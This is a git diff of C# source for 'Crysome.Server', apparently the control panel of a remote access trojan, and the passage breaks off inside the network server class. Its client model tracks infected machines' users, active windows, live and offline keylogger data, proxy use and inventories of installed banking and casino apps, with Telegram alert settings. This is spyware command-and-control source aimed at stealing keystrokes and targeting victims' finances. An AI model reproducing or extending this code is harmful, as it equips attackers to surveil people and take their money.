--git a/Crysome.Server/Crysome.Server.Converters/FlagConverter.cs b/Crysome.Server/Crysome.Server.Converters/FlagConverter.cs new file mode 100644 index 0000000..05017ea --- /dev/null +++ b/Crysome.Server/Crysome.Server.Converters/FlagConverter.cs @@ -0,0 +1,83 @@ +using System; +using System.Collections.Generic; +using System.Globalization; +using System.IO; +using System.Windows; +using System.Windows.Data; +using System.Windows.Media.Imaging; + +namespace Crysome.Server.Converters; + +public class FlagConverter : IValueConverter +{ + private static readonly Dictionary Cache = new Dictionary(StringComparer.OrdinalIgnoreCase); + + private static bool _loaded; + + public object Convert(object value, Type targetType, object parameter, CultureInfo culture) + { + if (value == null) + { + return null; + } + string text = value.ToString().Trim().ToUpperInvariant(); + if (string.IsNullOrEmpty(text)) + { + return null; + } + if (!_loaded) + { + LoadAll(); + } + if (Cache.TryGetValue(text, out var value2)) + { + return value2; + } + return null; + } + + public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture) + { + return DependencyProperty.UnsetValue; + } + + private static void LoadAll() + { + _loaded = true; + string baseDirectory = AppDomain.CurrentDomain.BaseDirectory; + string[] array = new string[2] + { + Path.Combine(baseDirectory, "flags"), + baseDirectory + }; + foreach (string path in array) + { + if (!Directory.Exists(path)) + { + continue; + } + string[] files = Directory.GetFiles(path, "*.png"); + foreach (string text in files) + { + try + { + string text2 = Path.GetFileNameWithoutExtension(text).ToUpperInvariant(); + if (!text2.Contains("@") && text2.Length == 2 && !Cache.ContainsKey(text2)) + { + BitmapImage bitmapImage = new BitmapImage(); + bitmapImage.BeginInit(); + bitmapImage.UriSource = new Uri(text); + bitmapImage.DecodePixelHeight = 16; + bitmapImage.CacheOption = BitmapCacheOption.OnLoad; + bitmapImage.EndInit(); + ((Freezable)bitmapImage).Freeze(); + Cache[text2] = bitmapImage; + } + } + catch + { + } + } + } + } +} diff --git a/Crysome.Server/Crysome.Server.Converters/InventoryDotsCollapseConverter.cs b/Crysome.Server/Crysome.Server.Converters/InventoryDotsCollapseConverter.cs new file mode 100644 index 0000000..5893090 --- /dev/null +++ b/Crysome.Server/Crysome.Server.Converters/InventoryDotsCollapseConverter.cs @@ -0,0 +1,53 @@ +using System; +using System.Collections.Generic; +using System.Globalization; +using System.Linq; +using System.Windows.Data; +using Crysome.Server.Model; + +namespace Crysome.Server.Converters; + +public class InventoryDotsCollapseConverter : IMultiValueConverter +{ + private const int CollapsedCount = 4; + + public object Convert(object[] values, Type targetType, object parameter, CultureInfo culture) + { + if (values == null || values.Length < 2) + { + if (values == null) + { + return null; + } + return values[0]; + } + IEnumerable enumerable = values[0] as IEnumerable; + object obj = values[1]; + bool flag = default(bool); + int num; + if (obj is bool) + { + flag = (bool)obj; + num = 1; + } + else + { + num = 0; + } + bool flag2 = (byte)((uint)num & (flag ? 1u : 0u)) != 0; + if (enumerable == null) + { + return new List(); + } + if (!flag2) + { + return enumerable.Take(4).ToList(); + } + return enumerable; + } + + public object[] ConvertBack(object value, Type[] targetTypes, object parameter, CultureInfo culture) + { + throw new NotSupportedException(); + } +} diff --git a/Crysome.Server/Crysome.Server.Converters/InventoryPresentToColorConverter.cs b/Crysome.Server/Crysome.Server.Converters/InventoryPresentToColorConverter.cs new file mode 100644 index 0000000..cbddb59 --- /dev/null +++ b/Crysome.Server/Crysome.Server.Converters/InventoryPresentToColorConverter.cs @@ -0,0 +1,35 @@ +using System; +using System.Globalization; +using System.Windows.Data; +using System.Windows.Media; + +namespace Crysome.Server.Converters; + +[ValueConversion(typeof(bool), typeof(Color))] +public class InventoryPresentToColorConverter : IValueConverter +{ + private static readonly Color Found = Color.FromRgb(111, 207, 151); + + private static readonly Color Missing = Color.FromRgb(85, 85, 85); + + public object Convert(object value, Type targetType, object parameter, CultureInfo culture) + { + bool flag = default(bool); + int num; + if (value is bool) + { + flag = (bool)value; + num = 1; + } + else + { + num = 0; + } + return (((uint)num & (flag ? 1u : 0u)) != 0) ? Found : Missing; + } + + public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture) + { + throw new NotSupportedException(); + } +} diff --git a/Crysome.Server/Crysome.Server.Converters/InventoryPresentToOpacityConverter.cs b/Crysome.Server/Crysome.Server.Converters/InventoryPresentToOpacityConverter.cs new file mode 100644 index 0000000..10b45c4 --- /dev/null +++ b/Crysome.Server/Crysome.Server.Converters/InventoryPresentToOpacityConverter.cs @@ -0,0 +1,29 @@ +using System; +using System.Globalization; +using System.Windows.Data; + +namespace Crysome.Server.Converters; + +public class InventoryPresentToOpacityConverter : IValueConverter +{ + public object Convert(object value, Type targetType, object parameter, CultureInfo culture) + { + bool flag = default(bool); + int num; + if (value is bool) + { + flag = (bool)value; + num = 1; + } + else + { + num = 0; + } + return (((uint)num & (flag ? 1u : 0u)) != 0) ? 1.0 : 0.3; + } + + public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture) + { + throw new NotImplementedException(); + } +} diff --git a/Crysome.Server/Crysome.Server.Converters/OSIconConverter.cs b/Crysome.Server/Crysome.Server.Converters/OSIconConverter.cs new file mode 100644 index 0000000..3e9892a --- /dev/null +++ b/Crysome.Server/Crysome.Server.Converters/OSIconConverter.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using System.Globalization; +using System.IO; +using System.Windows; +using System.Windows.Data; +using System.Windows.Media.Imaging; + +namespace Crysome.Server.Converters; + +public class OSIconConverter : IValueConverter +{ + private static readonly Dictionary Cache = new Dictionary(StringComparer.OrdinalIgnoreCase); + + private static bool _loaded; + + public object Convert(object value, Type targetType, object parameter, CultureInfo culture) + { + if (value == null) + { + return null; + } + string text = value.ToString().Trim().ToLower(); + if (string.IsNullOrEmpty(text)) + { + return null; + } + if (!_loaded) + { + LoadAll(); + } + if (text.Contains("windows 11") || text.Contains("server 2022")) + { + return GetCached("windows11"); + } + if (text.Contains("windows 10") || text.Contains("server 2019") || text.Contains("server 2016")) + { + return GetCached("windows10"); + } + if (text.Contains("8.1") || text.Contains("server 2012")) + { + return GetCached("windows81"); + } + if (text.Contains("windows 8")) + { + return GetCached("windows81"); + } + if (text.Contains("windows 7") || text.Contains("vista") || text.Contains("server 2008")) + { + return GetCached("windows7"); + } + if (text.Contains("xp") || text.Contains("server 2003")) + { + return GetCached("windowsxp"); + } + if (text.Contains("linux")) + { + return GetCached("linux"); + } + if (text.Contains("windows")) + { + return GetCached("windows10"); + } + return null; + } + + public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture) + { + return DependencyProperty.UnsetValue; + } + + private static BitmapImage GetCached(string key) + { + if (Cache.TryGetValue(key, out var value)) + { + return value; + } + return null; + } + + private static void LoadAll() + { + _loaded = true; + string baseDirectory = AppDomain.CurrentDomain.BaseDirectory; + string[] array = new string[2] + { + baseDirectory, + Path.Combine(baseDirectory, "icons") + }; + string[] array2 = new string[6] { "windows7", "windows81", "windows10", "windows11", "windowsxp", "linux" }; + string[] array3 = array; + foreach (string text in array3) + { + if (!Directory.Exists(text)) + { + continue; + } + string[] array4 = array2; + foreach (string text2 in array4) + { + if (Cache.ContainsKey(text2)) + { + continue; + } + string text3 = Path.Combine(text, text2 + ".png"); + if (File.Exists(text3)) + { + try + { + BitmapImage bitmapImage = new BitmapImage(); + bitmapImage.BeginInit(); + bitmapImage.UriSource = new Uri(text3); + bitmapImage.DecodePixelHeight = 16; + bitmapImage.CacheOption = BitmapCacheOption.OnLoad; + bitmapImage.EndInit(); + ((Freezable)bitmapImage).Freeze(); + Cache[text2] = bitmapImage; + } + catch + { + } + } + } + } + } +} diff --git a/Crysome.Server/Crysome.Server.Converters/StringToVisibilityConverter.cs b/Crysome.Server/Crysome.Server.Converters/StringToVisibilityConverter.cs new file mode 100644 index 0000000..261c246 --- /dev/null +++ b/Crysome.Server/Crysome.Server.Converters/StringToVisibilityConverter.cs @@ -0,0 +1,19 @@ +using System; +using System.Globalization; +using System.Windows; +using System.Windows.Data; + +namespace Crysome.Server.Converters; + +public class StringToVisibilityConverter : IValueConverter +{ + public object Convert(object value, Type targetType, object parameter, CultureInfo culture) + { + return string.IsNullOrEmpty(value as string) ? Visibility.Collapsed : Visibility.Visible; + } + + public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture) + { + throw new NotImplementedException(); + } +} diff --git a/Crysome.Server/Crysome.Server.Data/AppDataStore.cs b/Crysome.Server/Crysome.Server.Data/AppDataStore.cs new file mode 100644 index 0000000..af6afbe --- /dev/null +++ b/Crysome.Server/Crysome.Server.Data/AppDataStore.cs @@ -0,0 +1,222 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text.Json; + +namespace Crysome.Server.Data; + +public class AppDataStore +{ + private static readonly string DataDir = AppDomain.CurrentDomain.BaseDirectory; + + public ServerSettings Settings { get; set; } = new ServerSettings(); + + public Dictionary Notes { get; set; } = new Dictionary(); + + public HashSet PinnedIPs { get; set; } = new HashSet(); + + public HashSet AnnounceIPs { get; set; } = new HashSet(); + + public HashSet BlockedIPs { get; set; } = new HashSet(); + + public Dictionary MutedIPs { get; set; } = new Dictionary(); + + public Dictionary Snippets { get; set; } = new Dictionary(); + + public List AutoTasks { get; set; } = new List(); + + public Dictionary ContextMenuFeatures { get; set; } = new Dictionary(); + + public List Clients { get; private set; } = new List(); + + public void Load() + { + Settings = LoadServerSettings() ?? new ServerSettings(); + Notes = LoadFile>("notes.json") ?? new Dictionary(); + PinnedIPs = LoadFile>("pinned.json") ?? new HashSet(); + AnnounceIPs = LoadFile>("announce.json") ?? new HashSet(); + BlockedIPs = LoadFile>("blocked.json") ?? new HashSet(); + MutedIPs = LoadFile>("muted.json") ?? new Dictionary(); + Snippets = LoadFile>("snippets.json") ?? new Dictionary(); + AutoTasks = LoadFile>("autotasks.json") ?? new List(); + ContextMenuFeatures = LoadFile>("contextmenu_features.json") ?? new Dictionary(); + Clients = LoadFile>("clients.json") ?? new List(); + List list = new List(); + foreach (KeyValuePair mutedIP in MutedIPs) + { + if (mutedIP.Value <= DateTime.Now) + { + list.Add(mutedIP.Key); + } + } + foreach (string item in list) + { + MutedIPs.Remove(item); + } + } + + public void SaveSettings() + { + SaveFile("settings.json", Settings); + } + + public void SaveNotes() + { + SaveFile("notes.json", Notes); + } + + public void SavePinned() + { + SaveFile("pinned.json", PinnedIPs); + } + + public void SaveAnnounce() + { + SaveFile("announce.json", AnnounceIPs); + } + + public void SaveBlocked() + { + SaveFile("blocked.json", BlockedIPs); + } + + public void SaveMuted() + { + SaveFile("muted.json", MutedIPs); + } + + public void SaveSnippets() + { + SaveFile("snippets.json", Snippets); + } + + public void SaveAutoTasks() + { + SaveFile("autotasks.json", AutoTasks); + } + + public void SaveContextMenuFeatures() + { + SaveFile("contextmenu_features.json", ContextMenuFeatures); + } + + public void SaveClients() + { + SaveFile("clients.json", Clients); + } + + public void SaveAll() + { + SaveSettings(); + SaveNotes(); + SavePinned(); + SaveAnnounce(); + SaveBlocked(); + SaveMuted(); + SaveSnippets(); + SaveAutoTasks(); + SaveContextMenuFeatures(); + SaveClients(); + } + + public void UpsertClient(StoredClientRecord rec) + { + if (rec != null && !string.IsNullOrEmpty(rec.Address)) + { + StoredClientRecord storedClientRecord = Clients.Find((StoredClientRecord c) => c.Address == rec.Address); + if (storedClientRecord != null) + { + Clients.Remove(storedClientRecord); + } + Clients.Insert(0, rec); + if (Clients.Count > 2000) + { + Clients.RemoveRange(2000, Clients.Count - 2000); + } + } + } + + public StoredClientRecord FindClient(string address) + { + return Clients.Find((StoredClientRecord c) => string.Equals(c.Address, address, StringComparison.OrdinalIgnoreCase)); + } + + public bool IsContextMenuFeatureEnabled(string key) + { + if (!ContextMenuFeatures.TryGetValue(key, out var value)) + { + return true; + } + return value; + } + + private ServerSettings LoadServerSettings() + { + try + { + string path = Path.Combine(DataDir, "settings.json"); + if (!File.Exists(path)) + { + return null; + } + string json = File.ReadAllText(path); + using JsonDocument jsonDocument = JsonDocument.Parse(json); + JsonElement rootElement = jsonDocument.RootElement; + JsonElement value; + bool flag = rootElement.TryGetProperty("LegacyUdpPort", out value); + bool flag2 = rootElement.TryGetProperty("QuicPort", out value); + ServerSettings serverSettings = JsonSerializer.Deserialize(json); + if (serverSettings == null) + { + return new ServerSettings(); + } + if (flag && !flag2) + { + JsonElement value2; + int quicPort = (rootElement.TryGetProperty("Port", out value2) ? value2.GetInt32() : 7777); + JsonElement value3; + int port = (rootElement.TryGetProperty("LegacyUdpPort", out value3) ? value3.GetInt32() : 7778); + serverSettings.Port = port; + serverSettings.QuicPort = quicPort; + } + return serverSettings; + } + catch + { + return null; + } + } + + private T LoadFile(string filename) where T : class + { + try + { + string path = Path.Combine(DataDir, filename); + if (!File.Exists(path)) + { + return null; + } + return JsonSerializer.Deserialize(File.ReadAllText(path)); + } + catch + { + return null; + } + } + + private void SaveFile(string filename, T data) + { + try + { + string path = Path.Combine(DataDir, filename); + JsonSerializerOptions options = new JsonSerializerOptions + { + WriteIndented = true + }; + File.WriteAllText(path, JsonSerializer.Serialize(data, options)); + } + catch + { + } + } +} diff --git a/Crysome.Server/Crysome.Server.Data/AutoTask.cs b/Crysome.Server/Crysome.Server.Data/AutoTask.cs new file mode 100644 index 0000000..d4a49d1 --- /dev/null +++ b/Crysome.Server/Crysome.Server.Data/AutoTask.cs @@ -0,0 +1,12 @@ +namespace Crysome.Server.Data; + +public class AutoTask +{ + public string Kind { get; set; } = ""; + + public string Param { get; set; } = ""; + + public string Time { get; set; } = "Always"; + + public string Date { get; set; } = "Always"; +} diff --git a/Crysome.Server/Crysome.Server.Data/ServerSettings.cs b/Crysome.Server/Crysome.Server.Data/ServerSettings.cs new file mode 100644 index 0000000..d317024 --- /dev/null +++ b/Crysome.Server/Crysome.Server.Data/ServerSettings.cs @@ -0,0 +1,32 @@ +namespace Crysome.Server.Data; + +public class ServerSettings +{ + public int Port { get; set; } = 7777; + + public int QuicPort { get; set; } = 7778; + + public bool KeepAlive { get; set; } = true; + + public int KeepAliveInterval { get; set; } = 15000; + + public int InfoPollInterval { get; set; } = 3000; + + public int MaxEndpoints { get; set; } + + public int MaxSendFileSizeMB { get; set; } = 150; + + public bool NotifyConnect { get; set; } = true; + + public bool NotifyDisconnect { get; set; } = true; + + public bool LogPaused { get; set; } + + public bool LogToFile { get; set; } + + public bool TelegramEnabled { get; set; } + + public string TelegramToken { get; set; } = ""; + + public string TelegramChatId { get; set; } = ""; +} diff --git a/Crysome.Server/Crysome.Server.Data/StoredClientRecord.cs b/Crysome.Server/Crysome.Server.Data/StoredClientRecord.cs new file mode 100644 index 0000000..aa392f5 --- /dev/null +++ b/Crysome.Server/Crysome.Server.Data/StoredClientRecord.cs @@ -0,0 +1,32 @@ +using System; + +namespace Crysome.Server.Data; + +public class StoredClientRecord +{ + public string Address { get; set; } = ""; + + public int Port { get; set; } + + public string UserName { get; set; } = ""; + + public string ComputerName { get; set; } = ""; + + public string OS { get; set; } = ""; + + public string CountryCode { get; set; } = ""; + + public string Group { get; set; } = ""; + + public string Notes { get; set; } = ""; + + public bool IsPinned { get; set; } + + public DateTime LastSeen { get; set; } = DateTime.MinValue; + + public string AppsInventoryJson { get; set; } = ""; + + public string BankInventoryJson { get; set; } = ""; + + public string CasinoInventoryJson { get; set; } = ""; +} diff --git a/Crysome.Server/Crysome.Server.Model/ClientInfo.cs b/Crysome.Server/Crysome.Server.Model/ClientInfo.cs new file mode 100644 index 0000000..a7b23f8 --- /dev/null +++ b/Crysome.Server/Crysome.Server.Model/ClientInfo.cs @@ -0,0 +1,505 @@ +using System; +using System.Collections.ObjectModel; +using System.ComponentModel; +using System.Runtime.CompilerServices; +using System.Text; +using System.Text.Json; +using System.Windows.Media.Imaging; +using Crysome.Common.Network; + +namespace Crysome.Server.Model; + +public class ClientInfo : INotifyPropertyChanged +{ + private string _identifier = ""; + + private string _address = ""; + + private int _port; + + private string _username = ""; + + private string _computerName = ""; + + private string _os = ""; + + private string _activeWindow = ""; + + private string _uptime = ""; + + private string _countryCode = ""; + + private BitmapImage _flagImage; + + private string _group = ""; + + private string _gpu = ""; + + private string _notes = ""; + + private bool _proxyActive; + + private int _pingValue; + + private bool _isPinned; + + private bool _isAnnounce; + + private bool _isMuted; + + private DateTime _muteUntil; + + private int[] _pingSamples = new int[4]; + + private int _pingSampleIdx; + + private int _pingSampleCount; + + private string _appsInventoryJson = ""; + + private string _bankInventoryJson = ""; + + private string _casinoInventoryJson = ""; + + private bool _keyloggerActive; + + private readonly StringBuilder _offlineKeylogBuffer = new StringBuilder(); + + public CrysomeClient Owner { get; set; } + + public string SessionId { get; set; } + + public DateTime ConnectTime { get; set; } + + public string Identifier + { + get + { + return _identifier; + } + set + { + _identifier = value; + Notify("Identifier"); + } + } + + public string Address + { + get + { + return _address; + } + set + { + _address = value; + Notify("Address"); + } + } + + public int Port + { + get + { + return _port; + } + set + { + _port = value; + Notify("Port"); + } + } + + public string Username + { + get + { + return _username; + } + set + { + _username = value; + Notify("Username"); + } + } + + public string ComputerName + { + get + { + return _computerName; + } + set + { + _computerName = value; + Notify("ComputerName"); + } + } + + public string OS + { + get + { + return _os; + } + set + { + _os = value; + Notify("OS"); + } + } + + public string ActiveWindow + { + get + { + return _activeWindow; + } + set + { + _activeWindow = value; + Notify("ActiveWindow"); + } + } + + public string Uptime + { + get + { + return _uptime; + } + set + { + _uptime = value; + Notify("Uptime"); + } + } + + public string CountryCode + { + get + { + return _countryCode; + } + set + { + _countryCode = value; + Notify("CountryCode"); + FlagImage = FlagCache.Get((value ?? "").Trim().ToUpperInvariant()); + } + } + + public BitmapImage FlagImage + { + get + { + return _flagImage; + } + set + { + _flagImage = value; + Notify("FlagImage"); + } + } + + public string Group + { + get + { + return _group; + } + set + { + _group = value; + Notify("Group"); + } + } + + public string GPU + { + get + { + return _gpu; + } + set + { + _gpu = value; + Notify("GPU"); + } + } + + public string Notes + { + get + { + return _notes; + } + set + { + _notes = value; + Notify("Notes"); + } + } + + public bool ProxyActive + { + get + { + return _proxyActive; + } + set + { + _proxyActive = value; + Notify("ProxyActive"); + Notify("ProxyStatus"); + } + } + + public string ProxyStatus + { + get + { + if (!_proxyActive) + { + return ""; + } + return "TRUE"; + } + } + + public int PingValue + { + get + { + return _pingValue; + } + set + { + _pingValue = value; + Notify("PingValue"); + Notify("PingDisplay"); + } + } + + public string PingDisplay + { + get + { + if (_pingValue < 0 || _pingSampleCount <= 0) + { + return ""; + } + return _pingValue + " ms"; + } + } + + public bool IsPinned + { + get + { + return _isPinned; + } + set + { + _isPinned = value; + Notify("IsPinned"); + } + } + + public bool IsAnnounce + { + get + { + return _isAnnounce; + } + set + { + _isAnnounce = value; + Notify("IsAnnounce"); + } + } + + public bool IsMuted + { + get + { + return _isMuted; + } + set + { + _isMuted = value; + Notify("IsMuted"); + } + } + + public DateTime MuteUntil + { + get + { + return _muteUntil; + } + set + { + _muteUntil = value; + Notify("MuteUntil"); + } + } + + public string AppsInventoryJson + { + get + { + return _appsInventoryJson; + } + private set + { + _appsInventoryJson = value ?? ""; + Notify("AppsInventoryJson"); + } + } + + public string BankInventoryJson + { + get + { + return _bankInventoryJson; + } + private set + { + _bankInventoryJson = value ?? ""; + Notify("BankInventoryJson"); + } + } + + public string CasinoInventoryJson + { + get + { + return _casinoInventoryJson; + } + private set + { + _casinoInventoryJson = value ?? ""; + Notify("CasinoInventoryJson"); + } + } + + public bool KeyloggerActive + { + get + { + return _keyloggerActive; + } + set + { + _keyloggerActive = value; + Notify("KeyloggerActive"); + Notify("KeyloggerStatus"); + } + } + + public string KeyloggerStatus + { + get + { + if (!_keyloggerActive) + { + return "No"; + } + return "Live"; + } + } + + public string OfflineKeylogData => _offlineKeylogBuffer.ToString(); + + public ObservableCollection AppInventoryDots { get; } = new ObservableCollection(); + + public ObservableCollection BankInventoryDots { get; } = new ObservableCollection(); + + public ObservableCollection CasinoInventoryDots { get; } = new ObservableCollection(); + + public event PropertyChangedEventHandler PropertyChanged; + + private void Notify([CallerMemberName] string name = null) + { + this.PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(name)); + } + + public void AppendOfflineKeylog(string data) + { + _offlineKeylogBuffer.Append(data); + Notify("OfflineKeylogData"); + } + + public void ApplyInventoryJson(string appsJson, string bankJson, string casinoJson = null) + { + AppsInventoryJson = appsJson ?? ""; + BankInventoryJson = bankJson ?? ""; + CasinoInventoryJson = casinoJson ?? ""; + AppInventoryDots.Clear(); + BankInventoryDots.Clear(); + CasinoInventoryDots.Clear(); + FillInventoryDots(appsJson, AppInventoryDots, "app"); + FillInventoryDots(bankJson, BankInventoryDots, "bank"); + FillInventoryDots(casinoJson, CasinoInventoryDots, "casino"); + } + + private static void FillInventoryDots(string json, ObservableCollection target, string kind) + { + if (string.IsNullOrWhiteSpace(json)) + { + return; + } + try + { + using JsonDocument jsonDocument = JsonDocument.Parse(json); + if (!jsonDocument.RootElement.TryGetProperty("items", out var value)) + { + return; + } + foreach (JsonElement item in value.EnumerateArray()) + { + JsonElement value2; + string text = (item.TryGetProperty("id", out value2) ? value2.GetString() : "?"); + JsonElement value3; + bool present = item.TryGetProperty("present", out value3) && value3.ValueKind == JsonValueKind.True; + BitmapImage icon = ((kind == "app") ? InventoryIconCache.GetApp(text) : ((kind == "bank") ? InventoryIconCache.GetBank(text) : InventoryIconCache.GetCasino(text))); + target.Add(new InventoryDot + { + Id = (text ?? "?"), + Present = present, + Icon = icon + }); + } + } + catch + { + } + } + + public void AddPingSample(int rtt) + { + _pingSamples[_pingSampleIdx] = rtt; + _pingSampleIdx = (_pingSampleIdx + 1) % 4; + if (_pingSampleCount < 4) + { + _pingSampleCount++; + } + int num = 0; + for (int i = 0; i < _pingSampleCount; i++) + { + num += _pingSamples[i]; + } + PingValue = num / _pingSampleCount; + } + + public bool CheckMuteExpired() + { + if (_isMuted && DateTime.Now >= _muteUntil) + { + _isMuted = false; + return true; + } + return false; + } +} diff --git a/Crysome.Server/Crysome.Server.Model/FlagCache.cs b/Crysome.Server/Crysome.Server.Model/FlagCache.cs new file mode 100644 index 0000000..32594a6 --- /dev/null +++ b/Crysome.Server/Crysome.Server.Model/FlagCache.cs @@ -0,0 +1,96 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text; +using System.Windows; +using System.Windows.Media.Imaging; + +namespace Crysome.Server.Model; + +public static class FlagCache +{ + private static readonly Dictionary _cache = new Dictionary(StringComparer.OrdinalIgnoreCase); + + private static bool _loaded; + + public static int Count => _cache.Count; + + public static string DebugInfo { get; private set; } = ""; + + public static BitmapImage Get(string code) + { + if (!_loaded) + { + Load(); + } + if (_cache.TryGetValue(code, out var value)) + { + return value; + } + return null; + } + + private static void Load() + { + _loaded = true; + string baseDirectory = AppDomain.CurrentDomain.BaseDirectory; + StringBuilder stringBuilder = new StringBuilder(); + stringBuilder.AppendLine("BaseDir: " + baseDirectory); + string[] array = new string[4] + { + Path.Combine(baseDirectory, "flags"), + baseDirectory, + Path.Combine(baseDirectory, "icons"), + Path.Combine(baseDirectory, "icons", "flags") + }; + foreach (string text in array) + { + bool flag = Directory.Exists(text); + stringBuilder.AppendLine("Search: " + text + " -> " + (flag ? "EXISTS" : "NOT FOUND")); + if (!flag) + { + continue; + } + string[] files = Directory.GetFiles(text, "*.png"); + int num = 0; + string[] array2 = files; + foreach (string text2 in array2) + { + string text3 = Path.GetFileNameWithoutExtension(text2).ToUpperInvariant(); + if (!text3.Contains("@") && text3.Length == 2 && !_cache.ContainsKey(text3)) + { + try + { + byte[] buffer = File.ReadAllBytes(text2); + BitmapImage bitmapImage = new BitmapImage(); + bitmapImage.BeginInit(); + bitmapImage.StreamSource = new MemoryStream(buffer); + bitmapImage.CacheOption = BitmapCacheOption.OnLoad; + bitmapImage.EndInit(); + ((Freezable)bitmapImage).Freeze(); + _cache[text3] = bitmapImage; + num++; + } + catch (Exception ex) + { + stringBuilder.AppendLine("FAIL: " + text2 + " -> " + ex.Message); + } + } + } + stringBuilder.AppendLine("Loaded " + num + " flags from " + text); + if (num > 0) + { + break; + } + } + stringBuilder.AppendLine("Total flags: " + _cache.Count); + DebugInfo = stringBuilder.ToString(); + try + { + File.WriteAllText(Path.Combine(baseDirectory, "flag_debug.log"), DebugInfo); + } + catch + { + } + } +} diff --git a/Crysome.Server/Crysome.Server.Model/InventoryDot.cs b/Crysome.Server/Crysome.Server.Model/InventoryDot.cs new file mode 100644 index 0000000..b7c4792 --- /dev/null +++ b/Crysome.Server/Crysome.Server.Model/InventoryDot.cs @@ -0,0 +1,12 @@ +using System.Windows.Media.Imaging; + +namespace Crysome.Server.Model; + +public class InventoryDot +{ + public string Id { get; set; } + + public bool Present { get; set; } + + public BitmapImage Icon { get; set; } +} diff --git a/Crysome.Server/Crysome.Server.Model/InventoryIconCache.cs b/Crysome.Server/Crysome.Server.Model/InventoryIconCache.cs new file mode 100644 index 0000000..468038e --- /dev/null +++ b/Crysome.Server/Crysome.Server.Model/InventoryIconCache.cs @@ -0,0 +1,90 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Windows; +using System.Windows.Media.Imaging; + +namespace Crysome.Server.Model; + +public static class InventoryIconCache +{ + private static readonly Dictionary _apps = new Dictionary(StringComparer.OrdinalIgnoreCase); + + private static readonly Dictionary _banks = new Dictionary(StringComparer.OrdinalIgnoreCase); + + private static readonly Dictionary _casinos = new Dictionary(StringComparer.OrdinalIgnoreCase); + + private static bool _loaded; + + private static readonly object _loadLock = new object(); + + public static BitmapImage GetApp(string id) + { + EnsureLoaded(); + _apps.TryGetValue(id ?? "", out var value); + return value; + } + + public static BitmapImage GetBank(string id) + { + EnsureLoaded(); + _banks.TryGetValue(id ?? "", out var value); + return value; + } + + public static BitmapImage GetCasino(string id) + { + EnsureLoaded(); + _casinos.TryGetValue(id ?? "", out var value); + return value; + } + + private static void EnsureLoaded() + { + if (_loaded) + { + return; + } + lock (_loadLock) + { + if (!_loaded) + { + _loaded = true; + string baseDirectory = AppDomain.CurrentDomain.BaseDirectory; + LoadFromDir(Path.Combine(baseDirectory, "inventory", "apps"), _apps); + LoadFromDir(Path.Combine(baseDirectory, "inventory", "banks"), _banks); + LoadFromDir(Path.Combine(baseDirectory, "inventory", "casinos"), _casinos); + } + } + } + + private static void LoadFromDir(string dir, Dictionary cache) + { + if (!Directory.Exists(dir)) + { + return; + } + string[] files = Directory.GetFiles(dir, "*.png"); + foreach (string path in files) + { + string fileNameWithoutExtension = Path.GetFileNameWithoutExtension(path); + if (!cache.ContainsKey(fileNameWithoutExtension)) + { + try + { + byte[] buffer = File.ReadAllBytes(path); + BitmapImage bitmapImage = new BitmapImage(); + bitmapImage.BeginInit(); + bitmapImage.StreamSource = new MemoryStream(buffer); + bitmapImage.CacheOption = BitmapCacheOption.OnLoad; + bitmapImage.EndInit(); + ((Freezable)bitmapImage).Freeze(); + cache[fileNameWithoutExtension] = bitmapImage; + } + catch + { + } + } + } + } +} diff --git a/Crysome.Server/Crysome.Server.Model/LogLineEntry.cs b/Crysome.Server/Crysome.Server.Model/LogLineEntry.cs new file mode 100644 index 0000000..ef92484 --- /dev/null +++ b/Crysome.Server/Crysome.Server.Model/LogLineEntry.cs @@ -0,0 +1,16 @@ +namespace Crysome.Server.Model; + +public class LogLineEntry +{ + public string TimeText { get; set; } + + public string Category { get; set; } + + public string Message { get; set; } + + public override string ToString() + { + string text = (string.IsNullOrEmpty(Category) ? "" : (" [" + Category + "]")); + return "[" + TimeText + "]" + text + " " + Message; + } +} diff --git a/Crysome.Server/Crysome.Server.Network/ClientEventArgs.cs b/Crysome.Server/Crysome.Server.Network/ClientEventArgs.cs new file mode 100644 index 0000000..a14271c --- /dev/null +++ b/Crysome.Server/Crysome.Server.Network/ClientEventArgs.cs @@ -0,0 +1,14 @@ +using System; +using Crysome.Common.Network; + +namespace Crysome.Server.Network; + +public class ClientEventArgs : EventArgs +{ + public CrysomeClient Client { get; set; } + + public ClientEventArgs(CrysomeClient client) + { + Client = client; + } +} diff --git a/Crysome.Server/Crysome.Server.Network/CrysomeServer.cs b/Crysome.Server/Crysome.Server.Network/CrysomeServer.cs new file mode 100644 index 0000000..b1112b6 --- /dev/null +++ b/Crysome.Server/Crysome.Server.Network/CrysomeServer.cs @@ -0,0 +1,430 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.IO; +using System.Net.Http; +using System.Net.Quic; +using System.Net.Sockets; +using System.Security.Cryptography.X509Certificates; +using System.Threading; +using System.Threading.Tasks; +using Crysome.Common.Network; +using Crysome.Common.Network.Packets; +using Crysome.Common.Network.Transport; +using Crysome.Server.Data; + +namespace Crysome.Server.Network; + +public class CrysomeServer +{ + public readonly PacketChannel PacketChannel; + + private QuicListener _listener; + + private CancellationTokenSource _cts; + + private Task _acceptTask; + + private X509Certificate2 _serverCert; + + private UdpClient _legacySock; + + private Task _legacyTask; + + private readonly ConcurrentDictionary _clientKeys = new ConcurrentDictionary(); + + private readonly ConcurrentDictionary _legacySessions = new ConcurrentDictionary(); + + private readonly ConcurrentDictionary _legacySessionKeys = new ConcurrentDictionary(); + + private int _nextUdpToken = 1; + + private readonly ConcurrentDictionary _udpSessionMap = new ConcurrentDictionary(); + + public ConcurrentDictionary ConnectedClients { get; private set; } + + public bool Listening { get; private set; } + + public int Port { get; set; } = 7777; + + public int QuicPort { get; set; } = 7778; + + public AppDataStore Store { get; set; } + + public int ClientCount => ConnectedClients.Count; + + public event EventHandler PacketReceived; + + public event EventHandler ClientConnected; + + public event EventHandler ClientDisconnected; + + public event EventHandler UdpFrameReceived; + + public CrysomeServer() + { + PacketChannel = new PacketChannel(); + ConnectedClients = new ConcurrentDictionary(); + } + + public uint RegisterUdpSession(CrysomeClient client) + { + uint num = (uint)Interlocked.Increment(ref _nextUdpToken); + _udpSessionMap[num] = client; + 